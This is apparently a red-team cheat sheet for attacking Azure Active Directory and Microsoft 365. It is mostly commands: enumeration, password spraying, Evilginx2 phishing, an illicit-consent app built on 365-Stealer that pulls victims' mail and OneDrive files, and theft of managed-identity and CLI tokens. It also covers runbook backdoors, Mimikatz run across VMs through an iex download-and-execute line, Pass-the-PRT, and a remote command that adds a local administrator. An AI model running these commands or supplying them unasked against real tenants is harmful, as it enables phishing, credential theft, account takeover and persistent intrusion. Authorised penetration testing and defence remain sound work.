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Azure Active Directory
Original Source:Swisskyrepo
PreReq Requirements and free training
Webcast: OPSEC Fundamentals for Remote Red Teams
EDITED EDITION — Getting Started in Pentesting The Cloud–Azure | Beau Bullock | 1-Hour
Workshop:Breaching The Cloud Perimeter w/ Beau Bullock
Commando VM
Repo Location: Commando VM
Post Commando Tools to install: Connect to all Microsoft 365 services in a single PowerShell window
Azure Recon Tools
- ROADToolpipenv shell roadrecon auth [-h] [-u USERNAME] [-p PASSWORD] [-t TENANT] [-c CLIENT] [–as-app] [–device-code] [–access-token ACCESS_TOKEN] [–refresh-token REFRESH_TOKEN] [-f TOKENFILE] [–tokens-stdout] roadrecon gather [-h] [-d DATABASE] [-f TOKENFILE] [–tokens-stdin] [–mfa] roadrecon auth -u test@<TENANT NAME>.onmicrosoft.com -p <PASSWORD> roadrecon gather roadrecon gui
- StormSpotter# https://github.com/Azure/Stormspotter # session 1 – backend pipenv shell python ssbackend.pyz # session 2 – frontend cd C:\Tools\stormspotter\frontend\dist\spa\ quasar.cmd serve -p 9091 –history # session 3 – collector pipenv shell az login -u test@<TENANT NAME>.onmicrosoft.com -p <PASSWORD> python C:\Tools\stormspotter\stormcollector\sscollector.pyz cli # Web access on http://localhost:9091 Username: neo4j Password: BloodHound Server: bolt://localhost:7687
- Azure Hound# https://github.com/BloodHoundAD/AzureHound . C:\Tools\AzureHound\AzureHound.ps1 Invoke-AzureHound -Verbose # GUI access bolt://localhost:7687 Username: neo4j Password: BloodHound # Cypher query example: MATCH p = (n)-[r]->(g:AZKeyVault) RETURN p # Change object ID’s to names in Bloodhound MATCH (n) WHERE n.azname IS NOT NULL AND n.azname <> “” AND n.name IS NULL SET n.name = n.azname # Custom Queries : https://hausec.com/2020/11/23/azurehound-cypher-cheatsheet/
- List of Microsoft portals: https://msportals.io/
- Azucar : Azucar automatically gathers a variety of configuration data and analyses all data relating to a particular subscription in order to determine security risks.# You should use an account with at least read-permission on the assets you want to access git clone https://github.com/nccgroup/azucar.git PS> Get-ChildItem -Recurse c:\Azucar_V10 | Unblock-File PS> .\Azucar.ps1 -AuthMode UseCachedCredentials -Verbose -WriteLog -Debug -ExportTo PRINT PS> .\Azucar.ps1 -ExportTo CSV,JSON,XML,EXCEL -AuthMode Certificate_Credentials -Certificate C:\AzucarTest\server.pfx -ApplicationId 00000000-0000-0000-0000-000000000000 -TenantID 00000000-0000-0000-0000-000000000000 PS> .\Azucar.ps1 -ExportTo CSV,JSON,XML,EXCEL -AuthMode Certificate_Credentials -Certificate C:\AzucarTest\server.pfx -CertFilePassword MySuperP@ssw0rd! -ApplicationId 00000000-0000-0000-0000-000000000000 -TenantID 00000000-0000-0000-0000-000000000000 # resolve the TenantID for an specific username PS> .\Azucar.ps1 -ResolveTenantUserName user@company.com
- Azurite Explorer and Azurite Visualizer : Enumeration and reconnaissance activities in the Microsoft Azure Cloud.git clone https://github.com/mwrlabs/Azurite.git git clone https://github.com/FSecureLABS/Azurite git submodule init git submodule update PS> Import-Module AzureRM PS> Import-Module AzuriteExplorer.ps1 PS> Review-AzureRmSubscription PS> Review-CustomAzureRmSubscription
- MicroBurst – MicroBurst includes functions and scripts that support Azure Services discovery, weak configuration auditing, and post exploitation actions such as credential dumping$ git clone https://github.com/NetSPI/MicroBurst PS C:> Import-Module .\MicroBurst.psm1 PS C:> Import-Module .\Get-AzureDomainInfo.ps1 PS C:> Get-AzureDomainInfo -folder MicroBurst -Verbose
- SkyArk – Discover the most privileged users in the scanned Azure environment – including the Azure Shadow Admins.
Require:- Read-Only permissions over Azure Directory (Tenant)
- Read-Only permissions over Subscription
- Require AZ and AzureAD module or administrator right
- PowerZure -require az module ! $ git clone https://github.com/hausec/PowerZure $ ipmo .\PowerZure $ Set-Subscription -Id [idgoeshere] # Reader $ Get-Runbook, Get-AllUsers, Get-Apps, Get-Resources, Get-WebApps, Get-WebAppDetails # Contributor $ Execute-Command -OS Windows -VM Win10Test -ResourceGroup Test-RG -Command “whoami” $ Execute-MSBuild -VM Win10Test -ResourceGroup Test-RG -File “build.xml” $ Get-AllSecrets # AllAppSecrets, AllKeyVaultContents $ Get-AvailableVMDisks, Get-VMDisk # Download a virtual machine’s disk # Owner $ Set-Role -Role Contributor -User test@contoso.com -Resource Win10VMTest # Administrator $ Create-Backdoor, Execute-Backdoor
Enumeration
Enumerate valid emails
By default, O365 has a lockout policy of 10 tries, and it will lock out an account for one (1) minute.
- Validate emailPS> C:\Python27\python.exe C:\Tools\o365creeper\o365creeper.py -f C:\Tools\emails.txt -o C:\Tools\validemails.txt admin@<TENANT NAME>.onmicrosoft.com – VALID root@<TENANT NAME>.onmicrosoft.com – INVALID test@<TENANT NAME>.onmicrosoft.com – VALID contact@<TENANT NAME>.onmicrosoft.com – INVALID
- Extract email lists with a valid credentials : https://github.com/nyxgeek/o365recon
Password spraying
PS> . C:\Tools\MSOLSpray\MSOLSpray.ps1
PS> Invoke-MSOLSpray -UserList C:\Tools\validemails.txt -Password <PASSWORD> -Verbose
Enumerate Azure Subdomains
PS> . C:\Tools\MicroBurst\Misc\InvokeEnumerateAzureSubDomains.ps1
PS> Invoke-EnumerateAzureSubDomains -Base <TENANT NAME> -Verbose
Subdomain Service
--------- -------
<TENANT NAME>.mail.protection.outlook.com Email
<TENANT NAME>.onmicrosoft.com Microsoft Hosted Domain
Enumerate tenant with Azure AD Powershell
Import-Module C:\Tools\AzureAD\AzureAD.psd1
Import-Module C:\Tools\AzureADPreview\AzureADPreview.psd1
PS> $passwd = ConvertTo-SecureString "<PASSWORD>" -AsPlainText -Force
PS> $creds = New-Object System.Management.Automation.PSCredential("test@<TENANT NAME>.onmicrosoft.com", $passwd)
PS Az> Connect-AzureAD -Credential $creds
PS AzureAD> Get-AzureADUser -All $true
PS AzureAD> Get-AzureADUser -All $true | select UserPrincipalName
PS AzureAD> Get-AzureADGroup -All $true
PS AzureAD> Get-AzureADDevice
PS AzureAD> Get-AzureADDirectoryRole -Filter "DisplayName eq 'Global Administrator'" | Get-AzureADDirectoryRoleMember
PS AzureADPreview> Get-AzureADMSRoleDefinition | ?{$_.IsBuiltin -eq $False} | select DisplayName
Enumerate tenant with Az Powershell
PS> $passwd = ConvertTo-SecureString "<PASSWORD>" -AsPlainText -Force
PS> $creds = New-Object System.Management.Automation.PSCredential ("test@<TENANT NAME>.onmicrosoft.com", $passwd)
PS Az> Connect-AzAccount -Credential $creds
PS Az> Get-AzResource
PS Az> Get-AzRoleAssignment -SignInName test@<TENANT NAME>.onmicrosoft.com
PS Az> Get-AzVM | fl
PS Az> Get-AzWebApp | ?{$_.Kind -notmatch "functionapp"}
PS Az> Get-AzFunctionApp
PS Az> Get-AzStorageAccount | fl
PS Az> Get-AzKeyVault
Enumerate tenant with az cli
PS> az login -u test@<TENANT NAME>.onmicrosoft.com -p <PASSWORD>
PS> az vm list
PS> az vm list --query "[].[name]" -o table
PS> az webapp list
PS> az functionapp list --query "[].[name]" -o table
PS> az storage account list
PS> az keyvault list
Enumerate manually
- Federation with Azure AD or O365https://login.microsoftonline.com/getuserrealm.srf?login=<USER>@<DOMAIN>&xml=1 https://login.microsoftonline.com/getuserrealm.srf?login=root@<TENANT NAME>.onmicrosoft.com&xml=1
- Get the Tenant IDhttps://login.microsoftonline.com/<DOMAIN>/.well-known/openid-configuration https://login.microsoftonline.com/<TENANT NAME>.onmicrosoft.com/.well-known/openid-configuration
Enumeration methodology
# Check Azure Joined PS> dsregcmd.exe /status +----------------------------------------------------------------------+ | Device State | +----------------------------------------------------------------------+ AzureAdJoined : YES EnterpriseJoined : NO DomainJoined : NO Device Name : jumpvm # Enumerate resources PS Az> Get-AzResource # Enumerate role assignments PS Az> Get-AzRoleAssignment -Scope /subscriptions/<SUBSCRIPTION-ID>/resourceGroups/RESEARCH/providers/Microsoft.Compute/virtualMachines/<VM-NAME>` # Get info on a role PS Az> Get-AzRoleDefinition -Name "Virtual Machine Command Executor" # Get info user PS AzureAD> Get-AzureADUser -ObjectId <ID> PS AzureAD> Get-AzureADUser -ObjectId test@<TENANT NAME>.onmicrosoft.com | fl * # List all groups PS AzureAD> Get-AzureADGroup -All $true # Get members of a group PS Az> Get-AzADGroup -DisplayName '<GROUP-NAME>' PS Az> Get-AzADGroupMember -GroupDisplayName '<GROUP-NAME>' | select UserPrincipalName # Get Azure AD information PS> Import-Module C:\Tools\AADInternals\AADInternals.psd1 PS AADInternals> Get-AADIntLoginInformation -UserName admin@<TENANT NAME>.onmicrosoft.com PS AADInternals> Get-AADIntTenantID -Domain <TENANT NAME>.onmicrosoft.com # Get Tenant ID PS AADInternals> Invoke-AADIntReconAsOutsider -DomainName <DOMAIN> # Get all the information # Check if there is a user logged-in to az cli PS> az ad signed-in-user show # Check AppID Alternative Names/Display Name PS AzureAD> Get-AzureADServicePrincipal -All $True | ?{$_.AppId -eq "<APP-ID>"} | fl # Get all application objects registered using the current tenant PS AzureAD> Get-AzureADApplication -All $true # Get all details about an application PS AzureAD> Get-AzureADApplication -ObjectId <ID> | fl * # List all VM's the user has access to PS Az> Get-AzVM PS Az> Get-AzVM | fl # Get all function apps PS Az> Get-AzFunctionApp # Get all webapps PS Az> Get-AzWebApp PS Az> Get-AzWebApp | select-object Name, Type, Hostnames # List all storage accounts PS Az> Get-AzStorageAccount PS Az> Get-AzStorageAccount | fl # List all keyvaults PS Az> Get-AzKeyVault
Phishing with Evilginx2
PS C:\Tools> evilginx2 -p C:\Tools\evilginx2\phishlets : config domain username.corp : config ip 10.10.10.10 : phishlets hostname o365 login.username.corp : phishlets get-hosts o365 Create a DNS entry for login.login.username.corp and www.login.username.corp, type A, pointing to your machine # copy certificate and enable the phishing PS C:\Tools> Copy-Item C:\Users\Username\.evilginx\crt\ca.crt C:\Users\Username\.evilginx\crt\login.username.corp\o365.crt PS C:\Tools> Copy-Item C:\Users\Username\.evilginx\crt\private.key C:\Users\Username\.evilginx\crt\login.username.corp\o365.key : phishlets enable o365 # get the phishing URL : lures create o365 : lures get-url 0
Illicit Consent Grant
The attacker creates an Azure-registered application that requests access to data such as contact information, email, or documents. The attacker then tricks an end user into granting consent to the application so that the attacker can gain access to the data that the target user has access to.
Check if users are allowed to consent to apps: PS AzureADPreview> (GetAzureADMSAuthorizationPolicy).PermissionGrantPolicyIdsAssignedToDefaultUserRole
- Disable user consent : Users cannot grant permissions to applications.
- Users can consent to apps from verified publishers or your organization, but only for permissions you select : All users can only consent to apps that were published by a verified publisher and apps that are registered in your tenant
- Users can consent to all apps : allows all users to consent to any permission which doesn’t require admin consent,
- Custom app consent policy
Register Application
- Login to https://portal.azure.com > Azure Active Directory
- Click on App registrations > New registration
- Enter the Name for our application
- Under support account types select “Accounts in any organizational directory (Any Azure AD directory – Multitenant)”
- Enter the Redirect URL. This URL should be pointed towards our 365-Stealer application that we will host for hosting our phishing page. Make sure the endpoint is
https://<DOMAIN/IP>:<PORT>/login/authorized
. - Click Register and save the Application ID
Configure Application
- Click on
Certificates & secrets
- Click on
New client secret
then enter the Description and click on Add. - Save the secret‘s value.
- Click on API permissions > Add a permission
- Click on Microsoft Graph > Delegated permissions
- Search and select the below mentioned permissions and click on Add permission
- Contacts.Read
- Mail.Read / Mail.ReadWrite
- Mail.Send
- Notes.Read.All
- Mailboxsettings.ReadWrite
- Files.ReadWrite.All
- User.ReadBasic.All
- User.Read
Setup 365-Stealer
Default port for 365-Stealer phishing is 443
- Run XAMPP and start Apache
- Clone 365-Stealer into
C:\xampp\htdocs\
git clone https://github.com/AlteredSecurity/365-Stealer.git
- Install the requirements
- Python3
- PHP CLI or Xampp server
pip install -r requirements.txt
- Enable sqlite3 (Xampp > Apache config > php.ini) and restart Apache
- Edit
C:/xampp/htdocs/yourvictims/index.php
if needed- Disable IP whitelisting
$enableIpWhiteList = false;
- Disable IP whitelisting
- Go to 365-Stealer Management portal > Configuration (http://localhost:82/365-stealer/yourVictims)
- Client Id (Mandatory): This will be the Application(Client) Id of the application that we registered.
- Client Secret (Mandatory): Secret value from the Certificates & secrets tab that we created.
- Redirect URL (Mandatory): Specify the redirect URL that we entered during registering the App like
https://<Domain/IP>/login/authorized
- Macros Location: Path of macro file that we want to inject.
- Extension in OneDrive: We can provide file extensions that we want to download from the victims account or provide
*
to download all the files present in the victims OneDrive. The file extensions should be comma separated like txt, pdf, docx etc. - Delay: Delay the request by specifying time in seconds while stealing
Mitigation: Enable Do not allow user consent
for applications in the “Consent and permissions menu”.
Token from Managed Identity
MSI_ENDPOINT is an alias for IDENTITY_ENDPOINT, and MSI_SECRET is an alias for IDENTITY_HEADER.
Find IDENTITY_HEADER and IDENTITY_ENDPOINT from the environment : env
Most of the time, you want a token for one of these resources:
https://storage.azure.com https://vault.azure.net https://graph.microsoft.com https://management.azure.com
Azure API via Powershell
Get access_token from IDENTITY_HEADER and IDENTITY_ENDPOINT: system('curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER');
.
Then query the Azure REST API to get the subscription ID and more .
$Token = 'eyJ0eX..'
$URI = 'https://management.azure.com/subscriptions?api-version=2020-01-01'
# $URI = 'https://graph.microsoft.com/v1.0/applications'
$RequestParams = @{
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
}
(Invoke-RestMethod @RequestParams).value
# List resources and check for runCommand privileges
$URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resources?api-version=2020-10-01'
$URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resourceGroups/<RG-NAME>/providers/Microsoft.Compute/virtualMachines/<RESOURCE/providers/Microsoft.Authorization/permissions?apiversion=2015-07-01'
Azure API via Python Version
IDENTITY_ENDPOINT = os.environ['IDENTITY_ENDPOINT']
IDENTITY_HEADER = os.environ['IDENTITY_HEADER']
print("[+] Management API")
cmd = 'curl "%s?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:%s' % (IDENTITY_ENDPOINT, IDENTITY_HEADER)
val = os.popen(cmd).read()
print("Access Token: "+json.loads(val)["access_token"])
print("ClientID/AccountID: "+json.loads(val)["client_id"])
print("\r\n[+] Graph API")
cmd = 'curl "%s?resource=https://graph.microsoft.com/&api-version=2017-09-01" -H secret:%s' % (IDENTITY_ENDPOINT, IDENTITY_HEADER)
val = os.popen(cmd).read()
print(json.loads(val)["access_token"])
print("ClientID/AccountID: "+json.loads(val)["client_id"])
or inside a Python Function:
import logging, os import azure.functions as func def main(req: func.HttpRequest) -> func.HttpResponse: logging.info('Python HTTP trigger function processed a request.') IDENTITY_ENDPOINT = os.environ['IDENTITY_ENDPOINT'] IDENTITY_HEADER = os.environ['IDENTITY_HEADER'] cmd = 'curl "%s?resource=https://management.azure.com&apiversion=2017-09-01" -H secret:%s' % (IDENTITY_ENDPOINT, IDENTITY_HEADER) val = os.popen(cmd).read() return func.HttpResponse(val, status_code=200)
Get Tokens
The lifetime of a Primary Refresh Token is 14 days!
# az cli - get tokens az account get-access-token az account get-access-token --resource-type aad-graph # or Az (Get-AzAccessToken -ResourceUrl https://graph.microsoft.com).Token # or from a managed identity using IDENTITY_HEADER and IDENTITY_ENDPOINT
Use Tokens
Tokens contain all the claims including that for MFA and Conditional Access
- Az PowershellPS C:\Tools> $token = ‘eyJ0e..’ PS C:\Tools> Connect-AzAccount -AccessToken $token -AccountId <ACCOUNT-ID> # Access Token and Graph Token PS C:\Tools> $token = ‘eyJ0eX..’ PS C:\Tools> $graphaccesstoken = ‘eyJ0eX..’ PS C:\Tools> Connect-AzAccount -AccessToken $token -GraphAccessToken $graphaccesstoken -AccountId <ACCOUNT-ID> PS C:\Tools> Get-AzResource # ERROR: ‘this.Client.SubscriptionId’ cannot be null. # —> The managed identity has no rights on any of the Azure resources. Switch to to GraphAPI
- AzureADImport-Module C:\Tools\AzureAD\AzureAD.psd1 $AADToken = ‘eyJ0…’ Connect-AzureAD -AadAccessToken $AADToken -TenantId <TENANT-ID> -AccountId <ACCOUNT-ID>
Refresh Tokens
- https://github.com/ConstantinT/LanternLantern.exe cookie –derivedkey <Key from Mimikatz> –context <Context from Mimikatz> –prt <PRT from Mimikatz> Lantern.exe mdm –joindevice –accesstoken (or some combination from the token part) –devicename <Name> –outpfxfile <Some path> Lantern.exe token –username <Username> –password <Password> Lantern.exe token –refreshtoken <RefreshToken> Lantern.exe devicekeys –pfxpath XXXX.pfx –refreshtoken (–prtcookie / —username + –password )
- https://github.com/rvrsh3ll/TokenTacticsImport-Module .\TokenTactics.psd1 CommandType Name Version Source ———– —- ——- —— Function Clear-Token 0.0.1 TokenTactics Function Dump-OWAMailboxViaMSGraphApi 0.0.1 TokenTactics Function Forge-UserAgent 0.0.1 TokenTactics Function Get-AzureToken 0.0.1 TokenTactics Function Get-TenantID 0.0.1 TokenTactics Function Open-OWAMailboxInBrowser 0.0.1 TokenTactics Function Parse-JWTtoken 0.0.1 TokenTactics Function RefreshTo-AzureCoreManagementToken 0.0.1 TokenTactics Function RefreshTo-AzureManagementToken 0.0.1 TokenTactics Function RefreshTo-DODMSGraphToken 0.0.1 TokenTactics Function RefreshTo-GraphToken 0.0.1 TokenTactics Function RefreshTo-MAMToken 0.0.1 TokenTactics Function RefreshTo-MSGraphToken 0.0.1 TokenTactics Function RefreshTo-MSManageToken 0.0.1 TokenTactics Function RefreshTo-MSTeamsToken 0.0.1 TokenTactics Function RefreshTo-O365SuiteUXToken 0.0.1 TokenTactics Function RefreshTo-OfficeAppsToken 0.0.1 TokenTactics Function RefreshTo-OfficeManagementToken 0.0.1 TokenTactics Function RefreshTo-OutlookToken 0.0.1 TokenTactics Function RefreshTo-SubstrateToken 0.0.1 TokenTactics
Stealing Tokens
- Get-AzurePasswordsImport-Module Microburst.psm1 Get-AzurePasswords Get-AzurePasswords -Verbose | Out-GridView
Stealing tokens from az cli
- az cli stores access tokens in clear text in accessTokens.json in the directory
C:\Users\<username>\.Azure
- azureProfile.json in the same directory contains information about subscriptions.
Stealing tokens from az powershell
- Az PowerShell stores access tokens in clear text in TokenCache.dat in the directory
C:\Users\<username>\.Azure
- It also stores ServicePrincipalSecret in clear-text in AzureRmContext.json
- Users can save tokens using
Save-AzContext
Add credentials to all Enterprise Applications
# Add secrets
PS > . C:\Tools\Add-AzADAppSecret.ps1
PS > Add-AzADAppSecret -GraphToken $graphtoken -Verbose
# Use secrets to authenticate as Service Principal
PS > $password = ConvertTo-SecureString '<SECRET/PASSWORD>' -AsPlainText -Force
PS > $creds = New-Object System.Management.Automation.PSCredential('<AppID>', $password)
PS > Connect-AzAccount -ServicePrincipal -Credential $creds -Tenant '<TenantID>'
Spawn SSH for Azure Web App
az webapp create-remote-connection --subscription <SUBSCRIPTION-ID> --resource-group <RG-NAME> -n <APP-SERVICE-NAME>
Azure Storage Blob
- Blobs –
*.blob.core.windows.net
- File Services –
*.file.core.windows.net
- Data Tables –
*.table.core.windows.net
- Queues –
*.queue.core.windows.net
Enumerate blobs
PS > . C:\Tools\MicroBurst\Misc\InvokeEnumerateAzureBlobs.ps1
PS > Invoke-EnumerateAzureBlobs -Base <SHORT DOMAIN> -OutputFile azureblobs.txt
Found Storage Account - testsecure.blob.core.windows.net
Found Storage Account - securetest.blob.core.windows.net
Found Storage Account - securedata.blob.core.windows.net
Found Storage Account - securefiles.blob.core.windows.net
SAS URL
- Use Storage Explorer
- Click on Open Connect Dialog in the left menu.
- Select Blob container.
- On the Select Authentication Method page
- Select Shared access signature (SAS) and click on Next
- Copy the URL in Blob container SAS URL field.
You can also use subscription
(username/password) to access storage resources such as blobs and files.
List and download blobs
PS Az> Get-AzResource
PS Az> Get-AzStorageAccount -name <NAME> -ResourceGroupName <NAME>
PS Az> Get-AzStorageContainer -Context (Get-AzStorageAccount -name <NAME> -ResourceGroupName <NAME>).context
PS Az> Get-AzStorageBlobContent -Container <NAME> -Context (Get-AzStorageAccount -name <NAME> -ResourceGroupName <NAME>).context -Blob
Runbook Automation
Create a Runbook
# Check user right for automation
az extension add --upgrade -n automation
az automation account list # if it doesn't return anything the user is not a part of an Automation group
az ad signed-in-user list-owned-objects
# If the user is not part of an "Automation" group.
# Add him to a custom group , e.g: "Automation Admins"
Add-AzureADGroupMember -ObjectId <OBJID> -RefObjectId <REFOBJID> -Verbose
# Get the role of a user on the Automation account
# Contributor or higher = Can create and execute Runbooks
Get-AzRoleAssignment -Scope /subscriptions/<ID>/resourceGroups/<RG-NAME>/providers/Microsoft.Automation/automationAccounts/<AUTOMATION-ACCOUNT>
# List hybrid workers
Get-AzAutomationHybridWorkerGroup -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME>
# Create a Powershell Runbook
PS C:\Tools> Import-AzAutomationRunbook -Name <RUNBOOK-NAME> -Path C:\Tools\username.ps1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Type PowerShell -Force -Verbose
# Publish the Runbook
Publish-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose
# Start the Runbook
Start-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -RunOn Workergroup1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose
Persistence via Automation accounts
- Create a new Automation Account
- “Create Azure Run As account”: Yes
- Import a new runbook that creates an AzureAD user with Owner permissions for the subscription*
- Sample runbook for this Blog located here – https://github.com/NetSPI/MicroBurst
- Publish the runbook
- Add a webhook to the runbook
- Add the AzureAD module to the Automation account
- Update the Azure Automation Modules
- Assign “User Administrator” and “Subscription Owner” rights to the automation account
- Eventually lose your access…
- Trigger the webhook with a post request to create the new user$uri = “https://s15events.azure-automation.net/webhooks?token=h6[REDACTED]%3d” $AccountInfo = @(@{RequestBody=@{Username=”BackdoorUsername”;Password=”BackdoorPassword”}}) $body = ConvertTo-Json -InputObject $AccountInfo $response = Invoke-WebRequest -Method Post -Uri $uri -Body $body
Virtual Machine RunCommand
Requirements:
Microsoft.Compute/virtualMachines/runCommand/action
# Get Public IP of VM : query the network interface
PS AzureAD> Get-AzVM -Name <RESOURCE> -ResourceGroupName <RG-NAME> | select -ExpandProperty NetworkProfile
PS AzureAD> Get-AzNetworkInterface -Name <RESOURCE368>
PS AzureAD> Get-AzPublicIpAddress -Name <RESOURCEIP>
# Execute Powershell script on the VM
PS AzureAD> Invoke-AzVMRunCommand -VMName <RESOURCE> -ResourceGroupName <RG-NAME> -CommandId 'RunPowerShellScript' -ScriptPath 'C:\Tools\adduser.ps1' -Verbose
# Connect via WinRM
PS C:\Tools> $password = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force
PS C:\Tools> $creds = New-Object System.Management.Automation.PSCredential('username', $Password)
PS C:\Tools> $sess = New-PSSession -ComputerName <IP> -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
PS C:\Tools> Enter-PSSession $sess
Allow anyone with “Contributor” rights to run PowerShell scripts on any Azure VM in a subscription as NT Authority\System
# List available VMs
PS C:\> Get-AzureRmVM -status | where {$_.PowerState -EQ "VM running"} | select ResourceGroupName,Name
ResourceGroupName Name
----------------- ----
TESTRESOURCES Remote-Test
# Execute Powershell script on the VM
PS C:\> Invoke-AzureRmVMRunCommand -ResourceGroupName TESTRESOURCES -VMName Remote-Test -CommandId RunPowerShellScript -ScriptPath Mimikatz.ps1
Against the whole subscription using MicroBurst.ps1
Import-module MicroBurst.psm1
Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt
KeyVault Secrets
# keyvault access token
curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net&apiversion=2017-09-01" -H secret:$IDENTITY_HEADER
curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com&apiversion=2017-09-01" -H secret:$IDENTITY_HEADER
# connect
PS> $token = 'eyJ0..'
PS> $keyvaulttoken = 'eyJ0..'
PS Az> Connect-AzAccount -AccessToken $token -AccountId 2e91a4fea0f2-46ee-8214-fa2ff6aa9abc -KeyVaultAccessToken $keyvaulttoken
# query the vault and the secrets
PS Az> Get-AzKeyVault
PS Az> Get-AzKeyVaultSecret -VaultName ResearchKeyVault
PS Az> Get-AzKeyVaultSecret -VaultName ResearchKeyVault -Name Reader -AsPlainText
Pass The PRT
MimiKatz (version 2.2.0 and above) can be used to attack (hybrid) Azure AD joined machines for lateral movement attacks via the Primary Refresh Token (PRT) which is used for Azure AD SSO (single sign-on).
# Run mimikatz to obtain the PRT
PS> iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1")
PS> Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'
# Copy the PRT and KeyValue
Mimikatz> privilege::debug
Mimikatz> token::elevate
Mimikatz> dpapi::cloudapkd /keyvalue:<KeyValue> /unprotect
# Copy the Context, ClearKey and DerivedKey
Mimikatz> dpapi::cloudapkd /context:<Context> /derivedkey:<DerivedKey> /Prt:<PRT>
# Generate a JWT
PS> Import-Module C:\Tools\AADInternals\AADInternals.psd1
PS AADInternals> $PRT_OF_USER = '...'
PS AADInternals> while($PRT_OF_USER.Length % 4) {$PRT_OF_USER += "="}
PS AADInternals> $PRT = [text.encoding]::UTF8.GetString([convert]::FromBase64String($PRT_OF_USER))
PS AADInternals> $ClearKey = "XXYYZZ..."
PS AADInternals> $SKey = [convert]::ToBase64String( [byte[]] ($ClearKey -replace '..', '0x$&,' -split ',' -ne ''))
PS AADInternals> New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey –GetNonce
eyJ0eXAiOiJKV1QiL...
The <Signed JWT>
(JSON Web Token) can be used as PRT cookie in a (anonymous) browser session for https://login.microsoftonline.com/login.srf.
Edit the Chrome cookie (F12) -> Application -> Cookies with the values:
Name: x-ms-RefreshTokenCredential
Value: <Signed JWT>
HttpOnly: √
Mark the cookie with the flags HTTPOnly
and Secure
.
Pass The Certificate
Copy-Item -ToSession $jumpvm -Path C:\Tools\PrtToCertmaster.zip -Destination C:\Users\Username\Documents\username –Verbose
Expand-Archive -Path C:\Users\Username\Documents\username\PrtToCert-master.zip -DestinationPath C:\Users\Username\Documents\username\PrtToCert
# Require the PRT, TenantID, Context and DerivedKey
& 'C:\Program Files\Python39\python.exe' C:\Users\Username\Documents\username\PrtToCert\RequestCert.py --tenantId <TENANT-ID> --prt <PRT> --userName <Username>@<TENANT NAME>.onmicrosoft.com --hexCtx <HEX-CONTEXT> --hexDerivedKey <HEX-DERIVED-KEY>
# PFX saved with the name <Username>@<TENANT NAME>.onmicrosoft.com.pfx and password AzureADCert
Python tool that will authenticate to the remote machine, run PSEXEC and open a CMD on the victim machine
https://github.com/morRubin/AzureADJoinedMachinePTC
Main.py [-h] --usercert USERCERT --certpass CERTPASS --remoteip REMOTEIP
Main.py --usercert "admin.pfx" --certpass password --remoteip 10.10.10.10
python Main.py --usercert C:\Users\Username\Documents\username\<USERNAME>@<TENANT NAME>.onmicrosoft.com.pfx --
certpass AzureADCert --remoteip 10.10.10.10 --command "cmd.exe /c net user username Password@123 /add /Y && net localgroup administrators username /add"
Intunes Administration
Requirements:
- Global Administrator or Intune Administrator Privilege :
Get-AzureADGroup -Filter "DisplayName eq 'Intune Administrators'"
- Login into https://endpoint.microsoft.com/#home or use Pass-The-PRT
- Go to Devices -> All Devices to check devices enrolled to Intune
- Go to Scripts and click on Add for Windows 10.
- Add a Powershell script
- Specify Add all users and Add all devices in the Assignments page.
It will take up to one hour before you script is executed !
Dynamic Group Membership
Get groups that allow Dynamic membership: Get-AzureADMSGroup | ?{$_.GroupTypes -eq 'DynamicMembership'}
Rule example : (user.otherMails -any (_ -contains "vendor")) -and (user.userType -eq "guest")
Rule description: Any Guest user whose secondary email contains the string ‘vendor’ will be added to the group
- Open user’s profile, click on Manage
- Click on Resend invite and to get an invitation URL
- Set the secondary emailPS> Set-AzureADUser -ObjectId <OBJECT-ID> -OtherMails <Username>@<TENANT NAME>.onmicrosoft.com -Verbose
Administrative Unit
Administrative Unit can reset password of another user
PS AzureAD> Get-AzureADMSAdministrativeUnit -Id <ID>
PS AzureAD> Get-AzureADMSAdministrativeUnitMember -Id <ID>
PS AzureAD> Get-AzureADMSScopedRoleMembership -Id <ID> | fl
PS AzureAD> Get-AzureADDirectoryRole -ObjectId <RoleId>
PS AzureAD> Get-AzureADUser -ObjectId <RoleMemberInfo.Id> | fl
PS C:\Tools> $password = "Password" | ConvertToSecureString -AsPlainText -Force
PS C:\Tools> (Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "<Username>@<TENANT NAME>.onmicrosoft.com"}).ObjectId | SetAzureADUserPassword -Password $Password -Verbose
Deployment Template
PS Az> Get-AzResourceGroup
PS Az> Get-AzResourceGroupDeployment -ResourceGroupName SAP
# Export
PS Az> Save-AzResourceGroupDeploymentTemplate -ResourceGroupName <RESOURCE GROUP> -DeploymentName <DEPLOYMENT NAME>
cat <DEPLOYMENT NAME>.json # search for hardcoded password
cat <PATH TO .json FILE> | Select-String password
Application Proxy
# Enumerate application that have Proxy
PS C:\Tools> Get-AzureADApplication | %{try{GetAzureADApplicationProxyApplication -ObjectId $_.ObjectID;$_.DisplayName;$_.ObjectID}catch{}}
PS C:\Tools> Get-AzureADServicePrincipal -All $true | ?{$_.DisplayName -eq "Finance Management System"}
PS C:\Tools> . C:\Tools\GetApplicationProxyAssignedUsersAndGroups.ps1
PS C:\Tools> Get-ApplicationProxyAssignedUsersAndGroups -ObjectId <OBJECT-ID>
Conditional Access
- Bypassing conditional access by copying User-Agent (Chrome Dev Tool > Select iPad Pro, etc)
